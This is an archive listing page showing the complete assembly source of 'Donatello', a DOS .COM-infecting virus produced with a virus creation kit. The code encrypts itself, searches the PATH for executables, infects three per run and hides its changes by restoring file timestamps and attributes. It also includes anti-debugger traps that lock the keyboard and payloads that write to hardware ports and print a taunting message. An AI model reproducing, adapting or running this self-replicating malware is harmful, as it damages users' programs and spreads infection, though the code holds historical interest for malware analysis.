home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / dontello.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  17.7 KB  |  418 lines

  1. ; DONTELLO.ASM -- Donatello Virus
  2.  
  3. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  4.  
  5. ; Written by Nowhere Man
  6.  
  7.  
  8.  
  9. virus_type      equ     0                       ; Appending Virus
  10.  
  11. is_encrypted    equ     1                       ; We're encrypted
  12.  
  13. tsr_virus       equ     0                       ; We're not TSR
  14.  
  15.  
  16.  
  17. code            segment byte public
  18.  
  19.         assume  cs:code,ds:code,es:code,ss:code
  20.  
  21.         org     0100h
  22.  
  23.  
  24.  
  25. main            proc    near
  26.  
  27.         db      0E9h,00h,00h            ; Near jump (for compatibility)
  28.  
  29. start:          call    find_offset             ; Like a PUSH IP
  30.  
  31. find_offset:    pop     bp                      ; BP holds old IP
  32.  
  33.         sub     bp,offset find_offset   ; Adjust for length of host
  34.  
  35.  
  36.  
  37.         call    encrypt_decrypt         ; Decrypt the virus
  38.  
  39.  
  40.  
  41. start_of_code   label   near
  42.  
  43.  
  44.  
  45.         lea     si,[bp + buffer]        ; SI points to original start
  46.  
  47.         mov     di,0100h                ; Push 0100h on to stack for
  48.  
  49.         push    di                      ; return to main program
  50.  
  51.         movsw                           ; Copy the first two bytes
  52.  
  53.         movsb                           ; Copy the third byte
  54.  
  55.  
  56.  
  57.         mov     di,bp                   ; DI points to start of virus
  58.  
  59.  
  60.  
  61.         mov     bp,sp                   ; BP points to stack
  62.  
  63.         sub     sp,128                  ; Allocate 128 bytes on stack
  64.  
  65.  
  66.  
  67.         mov     ah,02Fh                 ; DOS get DTA function
  68.  
  69.         int     021h
  70.  
  71.         push    bx                      ; Save old DTA address on stack
  72.  
  73.  
  74.  
  75.         mov     ah,01Ah                 ; DOS set DTA function
  76.  
  77.         lea     dx,[bp - 128]           ; DX points to buffer on stack
  78.  
  79.         int     021h
  80.  
  81.  
  82.  
  83. stop_tracing:   mov     cx,09EBh
  84.  
  85.         mov     ax,0FE05h               ; Acutal move, plus a HaLT
  86.  
  87.         jmp     $-2
  88.  
  89.         add     ah,03Bh                 ; AH now equals 025h
  90.  
  91.         jmp     $-10                    ; Execute the HaLT
  92.  
  93.         lea     bx,[di + null_vector]   ; BX points to new routine
  94.  
  95.         push    cs                      ; Transfer CS into ES
  96.  
  97.         pop     es                      ; using a PUSH/POP
  98.  
  99.         int     021h
  100.  
  101.         mov     al,1                    ; Disable interrupt 1, too
  102.  
  103.         int     021h
  104.  
  105.         jmp     short skip_null         ; Hop over the loop
  106.  
  107. null_vector:    jmp     $                       ; An infinite loop
  108.  
  109. skip_null:      mov     byte ptr [di + lock_keys + 1],130  ; Prefetch unchanged
  110.  
  111. lock_keys:      mov     al,128                  ; Change here screws DEBUG
  112.  
  113.         out     021h,al                 ; If tracing then lock keyboard
  114.  
  115.  
  116.  
  117.         call    get_random
  118.  
  119.         mov     cx,0014h                ; CX holds the divisor
  120.  
  121.         cwd                             ; Sign-extend AX into DX:AX
  122.  
  123.         div     cx                      ; Divide AX by CX
  124.  
  125.         or      dx,dx                   ; Is the remaindier zero?
  126.  
  127.         jne     skip00                  ; If not equal, skip effect
  128.  
  129.         jmp     short strt00            ; Success -- skip jump
  130.  
  131. skip00:         jmp     end00                   ; Skip the routine
  132.  
  133. strt00:         lea     si,[di + data00]        ; SI points to data
  134.  
  135.         mov     ah,0Eh                  ; BIOS display char. function
  136.  
  137. display_loop:   lodsb                           ; Load the next char. into AL
  138.  
  139.         or      al,al                   ; Is the character a null?
  140.  
  141.         je      disp_strnend            ; If it is, exit
  142.  
  143.         int     010h                    ; BIOS video interrupt
  144.  
  145.         jmp     short display_loop      ; Do the next character
  146.  
  147. disp_strnend:
  148.  
  149.  
  150.  
  151. end00:          call    get_random
  152.  
  153.         mov     cx,0064h                ; CX holds the divisor
  154.  
  155.         cwd                             ; Sign-extend AX into DX:AX
  156.  
  157.         div     cx                      ; Divide AX by CX
  158.  
  159.         or      dx,dx                   ; Is the remaindier zero?
  160.  
  161.         jne     skip01                  ; If not equal, skip effect
  162.  
  163.         jmp     short strt01            ; Success -- skip jump
  164.  
  165. skip01:         jmp     end01                   ; Skip the routine
  166.  
  167. strt01:         xor     ah,ah                   ; BIOS get time function
  168.  
  169.         int     1Ah
  170.  
  171.         xchg    dx,ax                   ; AX holds low word of timer
  172.  
  173.         mov     dx,0FFh                 ; Start with port 255
  174.  
  175. out_loop:       out     dx,al                   ; OUT a value to the port
  176.  
  177.         dec     dx                      ; Do the next port
  178.  
  179.         jne     out_loop                ; Repeat until DX = 0
  180.  
  181.  
  182.  
  183. end01:          mov     cx,0003h                ; Do 3 infections
  184.  
  185. search_loop:    push    cx                      ; Save CX
  186.  
  187.         call    search_files            ; Find and infect a file
  188.  
  189.         pop     cx                      ; Restore CX
  190.  
  191.         loop    search_loop             ; Repeat until CX is 0
  192.  
  193.  
  194.  
  195.         jmp     short strt02            ; Success -- skip jump
  196.  
  197. skip02:         jmp     end02                   ; Skip the routine
  198.  
  199. strt02:         push    es                      ; Save ES
  200.  
  201.         mov     ax,050h                 ; Set the extra segement to
  202.  
  203.         mov     es,ax                   ; the BIOS area
  204.  
  205.         mov     byte ptr es:[0000h],1   ; Set print screen flag to
  206.  
  207.         pop     es                      ; "printing," restore ES
  208.  
  209.  
  210.  
  211. end02:
  212.  
  213. com_end:        pop     dx                      ; DX holds original DTA address
  214.  
  215.         mov     ah,01Ah                 ; DOS set DTA function
  216.  
  217.         int     021h
  218.  
  219.  
  220.  
  221.         mov     sp,bp                   ; Deallocate local buffer
  222.  
  223.  
  224.  
  225.         xor     ax,ax                   ;
  226.  
  227.         mov     bx,ax                   ;
  228.  
  229.         mov     cx,ax                   ;
  230.  
  231.         mov     dx,ax                   ; Empty out the registers
  232.  
  233.         mov     si,ax                   ;
  234.  
  235.         mov     di,ax                   ;
  236.  
  237.         mov     bp,ax                   ;
  238.  
  239.  
  240.  
  241.         ret                             ; Return to original program
  242.  
  243. main            endp
  244.  
  245.  
  246.  
  247.  
  248.  
  249.         db      0E2h,065h,076h,0A4h,0A6h
  250.  
  251.  
  252.  
  253. search_files    proc    near
  254.  
  255.         mov     bx,di                   ; BX points to the virus
  256.  
  257.         push    bp                      ; Save BP
  258.  
  259.         mov     bp,sp                   ; BP points to local buffer
  260.  
  261.         sub     sp,135                  ; Allocate 135 bytes on stack
  262.  
  263.  
  264.  
  265.         mov     byte ptr [bp - 135],'\' ; Start with a backslash
  266.  
  267.  
  268.  
  269.         mov     ah,047h                 ; DOS get current dir function
  270.  
  271.         xor     dl,dl                   ; DL holds drive # (current)
  272.  
  273.         lea     si,[bp - 134]           ; SI points to 64-byte buffer
  274.  
  275.         int     021h
  276.  
  277.  
  278.  
  279.         call    traverse_path           ; Start the traversal
  280.  
  281.  
  282.  
  283. traversal_loop: cmp     word ptr [bx + path_ad],0       ; Was the search unsuccessful?
  284.  
  285.         je      done_searching          ; If so then we're done
  286.  
  287.         call    found_subdir            ; Otherwise copy the subdirectory
  288.  
  289.  
  290.  
  291.         mov     ax,cs                   ; AX holds the code segment
  292.  
  293.         mov     ds,ax                   ; Set the data and extra
  294.  
  295.         mov     es,ax                   ; segments to the code segment
  296.  
  297.  
  298.  
  299.         xor     al,al                   ; Zero AL
  300.  
  301.         stosb                           ; NULL-terminate the directory
  302.  
  303.  
  304.  
  305.         mov     ah,03Bh                 ; DOS change directory function
  306.  
  307.         lea     dx,[bp - 70]            ; DX points to the directory
  308.  
  309.         int     021h
  310.  
  311.  
  312.  
  313.         lea     dx,[bx + com_mask]      ; DX points to "*.COM"
  314.  
  315.         push    di
  316.  
  317.         mov     di,bx
  318.  
  319.         call    find_files              ; Try to infect a .COM file
  320.  
  321.         mov     bx,di
  322.  
  323.         pop     di
  324.  
  325.         jnc     done_searching          ; If successful the exit
  326.  
  327.         jmp     short traversal_loop    ; Keep checking the PATH
  328.  
  329.  
  330.  
  331. done_searching: mov     ah,03Bh                 ; DOS change directory function
  332.  
  333.         lea     dx,[bp - 135]           ; DX points to old directory
  334.  
  335.         int     021h
  336.  
  337.  
  338.  
  339.         cmp     word ptr [bx + path_ad],0       ; Did we run out of directories?
  340.  
  341.         jne     at_least_tried          ; If not then exit
  342.  
  343.         stc                             ; Set the carry flag for failure
  344.  
  345. at_least_tried: mov     sp,bp                   ; Restore old stack pointer
  346.  
  347.         pop     bp                      ; Restore BP
  348.  
  349.         ret                             ; Return to caller
  350.  
  351. com_mask        db      "*.COM",0               ; Mask for all .COM files
  352.  
  353. search_files    endp
  354.  
  355.  
  356.  
  357. traverse_path   proc    near
  358.  
  359.         mov     es,word ptr cs:[002Ch]  ; ES holds the enviroment segment
  360.  
  361.         xor     di,di                   ; DI holds the starting offset
  362.  
  363.  
  364.  
  365. find_path:      lea     si,[bx + path_string]   ; SI points to "PATH="
  366.  
  367.         lodsb                           ; Load the "P" into AL
  368.  
  369.         mov     cx,08000h               ; Check the first 32767 bytes
  370.  
  371.     repne   scasb                           ; Search until the byte is found
  372.  
  373.         mov     cx,4                    ; Check the next four bytes
  374.  
  375. check_next_4:   lodsb                           ; Load the next letter of "PATH="
  376.  
  377.         scasb                           ; Compare it to the environment
  378.  
  379.         jne     find_path               ; If there not equal try again
  380.  
  381.         loop    check_next_4            ; Otherwise keep checking
  382.  
  383.  
  384.  
  385.         mov     word ptr [bx + path_ad],di      ; Save the PATH address
  386.  
  387.         mov     word ptr [bx + path_ad + 2],es  ; Save the PATH's segment
  388.  
  389.         ret                             ; Return to caller
  390.  
  391.  
  392.  
  393. path_string     db      "PATH="                 ; The PATH string to search for
  394.  
  395. path_ad         dd      ?                       ; Holds the PATH's address
  396.  
  397. traverse_path   endp
  398.  
  399.  
  400.  
  401. found_subdir    proc    near
  402.  
  403.         lds     si,dword ptr [bx + path_ad]     ; DS:SI points to PATH
  404.  
  405.         lea     di,[bp - 70]            ; DI points to the work buffer
  406.  
  407.         push    cs                      ; Transfer CS into ES for
  408.  
  409.         pop     es                      ; byte transfer
  410.  
  411. move_subdir:    lodsb                           ; Load the next byte into AL
  412.  
  413.         cmp     al,';'                  ; Have we reached a separator?
  414.  
  415.         je      moved_one               ; If so we're done copying
  416.  
  417.         or      al,al                   ; Are we finished with the PATH?
  418.  
  419.         je      moved_last_one          ; If so get out of here
  420.  
  421.         stosb                           ; Store the byte at ES:DI
  422.  
  423.         jmp     short move_subdir       ; Keep transfering characters
  424.  
  425.  
  426.  
  427. moved_last_one: xor     si,si                   ; Zero SI to signal completion
  428.  
  429. moved_one:      mov     word ptr es:[bx + path_ad],si  ; Store SI in the path address
  430.  
  431.         ret                             ; Return to caller
  432.  
  433. found_subdir    endp
  434.  
  435.  
  436.  
  437.         db      095h,001h,027h,07Eh,08Fh
  438.  
  439.  
  440.  
  441.  
  442.  
  443. find_files      proc    near
  444.  
  445.         push    bp                      ; Save BP
  446.  
  447.  
  448.  
  449.         mov     ah,02Fh                 ; DOS get DTA function
  450.  
  451.         int     021h
  452.  
  453.         push    bx                      ; Save old DTA address
  454.  
  455.  
  456.  
  457.         mov     bp,sp                   ; BP points to local buffer
  458.  
  459.         sub     sp,128                  ; Allocate 128 bytes on stack
  460.  
  461.  
  462.  
  463.         push    dx                      ; Save file mask
  464.  
  465.         mov     ah,01Ah                 ; DOS set DTA function
  466.  
  467.         lea     dx,[bp - 128]           ; DX points to buffer
  468.  
  469.         int     021h
  470.  
  471.  
  472.  
  473.         mov     ah,04Eh                 ; DOS find first file function
  474.  
  475.         mov     cx,00100111b            ; CX holds all file attributes
  476.  
  477.         pop     dx                      ; Restore file mask
  478.  
  479. find_a_file:    int     021h
  480.  
  481.         jc      done_finding            ; Exit if no files found
  482.  
  483.         call    infect_file             ; Infect the file!
  484.  
  485.         jnc     done_finding            ; Exit if no error
  486.  
  487.         mov     ah,04Fh                 ; DOS find next file function
  488.  
  489.         jmp     short find_a_file       ; Try finding another file
  490.  
  491.  
  492.  
  493. done_finding:   mov     sp,bp                   ; Restore old stack frame
  494.  
  495.         mov     ah,01Ah                 ; DOS set DTA function
  496.  
  497.         pop     dx                      ; Retrieve old DTA address
  498.  
  499.         int     021h
  500.  
  501.  
  502.  
  503.         pop     bp                      ; Restore BP
  504.  
  505.         ret                             ; Return to caller
  506.  
  507. find_files      endp
  508.  
  509.  
  510.  
  511.         db      02Ch,015h,0BFh,02Dh,0F2h
  512.  
  513.  
  514.  
  515. infect_file     proc    near
  516.  
  517.         mov     ah,02Fh                 ; DOS get DTA address function
  518.  
  519.         int     021h
  520.  
  521.         mov     si,bx                   ; SI points to the DTA
  522.  
  523.  
  524.  
  525.         mov     byte ptr [di + set_carry],0  ; Assume we'll fail
  526.  
  527.  
  528.  
  529.         cmp     word ptr [si + 01Ah],(65279 - (finish - start))
  530.  
  531.         jbe     size_ok                 ; If it's small enough continue
  532.  
  533.         jmp     infection_done          ; Otherwise exit
  534.  
  535.  
  536.  
  537. size_ok:        mov     ax,03D00h               ; DOS open file function, r/o
  538.  
  539.         lea     dx,[si + 01Eh]          ; DX points to file name
  540.  
  541.         int     021h
  542.  
  543.         xchg    bx,ax                   ; BX holds file handle
  544.  
  545.  
  546.  
  547.         mov     ah,03Fh                 ; DOS read from file function
  548.  
  549.         mov     cx,3                    ; CX holds bytes to read (3)
  550.  
  551.         lea     dx,[di + buffer]        ; DX points to buffer
  552.  
  553.         int     021h
  554.  
  555.  
  556.  
  557.         mov     ax,04202h               ; DOS file seek function, EOF
  558.  
  559.         cwd                             ; Zero DX _ Zero bytes from end
  560.  
  561.         mov     cx,dx                   ; Zero CX /
  562.  
  563.         int     021h
  564.  
  565.  
  566.  
  567.         xchg    dx,ax                   ; Faster than a PUSH AX
  568.  
  569.         mov     ah,03Eh                 ; DOS close file function
  570.  
  571.         int     021h
  572.  
  573.         xchg    dx,ax                   ; Faster than a POP AX
  574.  
  575.  
  576.  
  577.         sub     ax,finish - start + 3   ; Adjust AX for a valid jump
  578.  
  579.         cmp     word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  580.  
  581.         je      infection_done          ; If equal then exit
  582.  
  583.         mov     byte ptr [di + set_carry],1  ; Success -- the file is OK
  584.  
  585.         add     ax,finish - start       ; Re-adjust to make the jump
  586.  
  587.         mov     word ptr [di + new_jump + 1],ax  ; Construct jump
  588.  
  589.  
  590.  
  591.         mov     ax,04301h               ; DOS set file attrib. function
  592.  
  593.         xor     cx,cx                   ; Clear all attributes
  594.  
  595.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  596.  
  597.         int     021h
  598.  
  599.  
  600.  
  601.         mov     ax,03D02h               ; DOS open file function, r/w
  602.  
  603.         int     021h
  604.  
  605.         xchg    bx,ax                   ; BX holds file handle
  606.  
  607.  
  608.  
  609.         mov     ah,040h                 ; DOS write to file function
  610.  
  611.         mov     cx,3                    ; CX holds bytes to write (3)
  612.  
  613.         lea     dx,[di + new_jump]      ; DX points to the jump we made
  614.  
  615.         int     021h
  616.  
  617.  
  618.  
  619.         mov     ax,04202h               ; DOS file seek function, EOF
  620.  
  621.         cwd                             ; Zero DX _ Zero bytes from end
  622.  
  623.         mov     cx,dx                   ; Zero CX /
  624.  
  625.         int     021h
  626.  
  627.  
  628.  
  629.         push    si                      ; Save SI through call
  630.  
  631.         call    encrypt_code            ; Write an encrypted copy
  632.  
  633.         pop     si                      ; Restore SI
  634.  
  635.  
  636.  
  637.         mov     ax,05701h               ; DOS set file time function
  638.  
  639.         mov     cx,[si + 016h]          ; CX holds old file time
  640.  
  641.         mov     dx,[si + 018h]          ; DX holds old file date
  642.  
  643.         int     021h
  644.  
  645.  
  646.  
  647.         mov     ah,03Eh                 ; DOS close file function
  648.  
  649.         int     021h
  650.  
  651.  
  652.  
  653.         mov     ax,04301h               ; DOS set file attrib. function
  654.  
  655.         xor     ch,ch                   ; Clear CH for file attribute
  656.  
  657.         mov     cl,[si + 015h]          ; CX holds file's old attributes
  658.  
  659.         lea     dx,[si + 01Eh]          ; DX points to victim's name
  660.  
  661.         int     021h
  662.  
  663.  
  664.  
  665. infection_done: cmp     byte ptr [di + set_carry],1  ; Set carry flag if failed
  666.  
  667.         ret                             ; Return to caller
  668.  
  669.  
  670.  
  671. set_carry       db      ?                       ; Set-carry-on-exit flag
  672.  
  673. buffer          db      090h,0CDh,020h          ; Buffer to hold old three bytes
  674.  
  675. new_jump        db      0E9h,?,?                ; New jump to virus
  676.  
  677. infect_file     endp
  678.  
  679.  
  680.  
  681.  
  682.  
  683.         db      0C4h,003h,038h,043h,07Fh
  684.  
  685.  
  686.  
  687. get_random      proc    near
  688.  
  689.         xor     ah,ah                   ; BIOS get clock count function
  690.  
  691.         int     01Ah
  692.  
  693.         xchg    dx,ax                   ; Transfer the count into AX
  694.  
  695.         ret                             ; Return to caller
  696.  
  697. get_random      endp
  698.  
  699.  
  700.  
  701. data00          db      "Cowabunga, dudes!  It's Donatello!",13,10
  702.  
  703.         db      "(Hey, John, can I be on Nightline too?)",13,10,0
  704.  
  705.  
  706.  
  707. vcl_marker      db      "[VCL]",0               ; VCL creation marker
  708.  
  709.  
  710.  
  711.  
  712.  
  713. note            db      "[Donatello]",0
  714.  
  715.         db      "Nowhere Man, [NuKE] '92",0
  716.  
  717.         db      "Hey, Donatello, be like Mike!",0
  718.  
  719.  
  720.  
  721. encrypt_code    proc    near
  722.  
  723.         push    bp                      ; Save BP
  724.  
  725.         mov     bp,di                   ; Use BP as pointer to code
  726.  
  727.         lea     si,[bp + encrypt_decrypt]; SI points to cipher routine
  728.  
  729.  
  730.  
  731.         xor     ah,ah                   ; BIOS get time function
  732.  
  733.         int     01Ah
  734.  
  735.         mov     word ptr [si + 9],dx    ; Low word of timer is new key
  736.  
  737.  
  738.  
  739.         xor     byte ptr [si + 1],8     ;
  740.  
  741.         xor     byte ptr [si + 8],1     ; Change all SIs to DIs
  742.  
  743.         xor     word ptr [si + 11],0101h; (and vice-versa)
  744.  
  745.  
  746.  
  747.         lea     di,[bp + finish]        ; Copy routine into heap
  748.  
  749.         mov     cx,finish - encrypt_decrypt - 1  ; All but final RET
  750.  
  751.         push    si                      ; Save SI for later
  752.  
  753.         push    cx                      ; Save CX for later
  754.  
  755.     rep     movsb                           ; Copy the bytes
  756.  
  757.  
  758.  
  759.         lea     si,[bp + write_stuff]   ; SI points to write stuff
  760.  
  761.         mov     cx,5                    ; CX holds length of write
  762.  
  763.     rep     movsb                           ; Copy the bytes
  764.  
  765.  
  766.  
  767.         pop     cx                      ; Restore CX
  768.  
  769.         pop     si                      ; Restore SI
  770.  
  771.         inc     cx                      ; Copy the RET also this time
  772.  
  773.     rep     movsb                           ; Copy the routine again
  774.  
  775.  
  776.  
  777.         mov     ah,040h                 ; DOS write to file function
  778.  
  779.         lea     dx,[bp + start]         ; DX points to virus
  780.  
  781.  
  782.  
  783.         lea     si,[bp + finish]        ; SI points to routine
  784.  
  785.         call    si                      ; Encrypt/write/decrypt
  786.  
  787.  
  788.  
  789.         mov     di,bp                   ; DI points to virus again
  790.  
  791.         pop     bp                      ; Restore BP
  792.  
  793.         ret                             ; Return to caller
  794.  
  795.  
  796.  
  797. write_stuff:    mov     cx,finish - start       ; Length of code
  798.  
  799.         int     021h
  800.  
  801. encrypt_code    endp
  802.  
  803.  
  804.  
  805. end_of_code     label   near
  806.  
  807.  
  808.  
  809. encrypt_decrypt proc    near
  810.  
  811.         lea     si,[bp + start_of_code] ; SI points to code to decrypt
  812.  
  813.         mov     cx,(end_of_code - start_of_code) / 2 ; CX holds length
  814.  
  815. xor_loop:       db      081h,034h,00h,00h       ; XOR a word by the key
  816.  
  817.         inc     si                      ; Do the next word
  818.  
  819.         inc     si                      ;
  820.  
  821.         loop    xor_loop                ; Loop until we're through
  822.  
  823.         ret                             ; Return to caller
  824.  
  825. encrypt_decrypt endp
  826.  
  827. finish          label   near
  828.  
  829.  
  830.  
  831. code            ends
  832.  
  833.         end     main
  834.  
  835.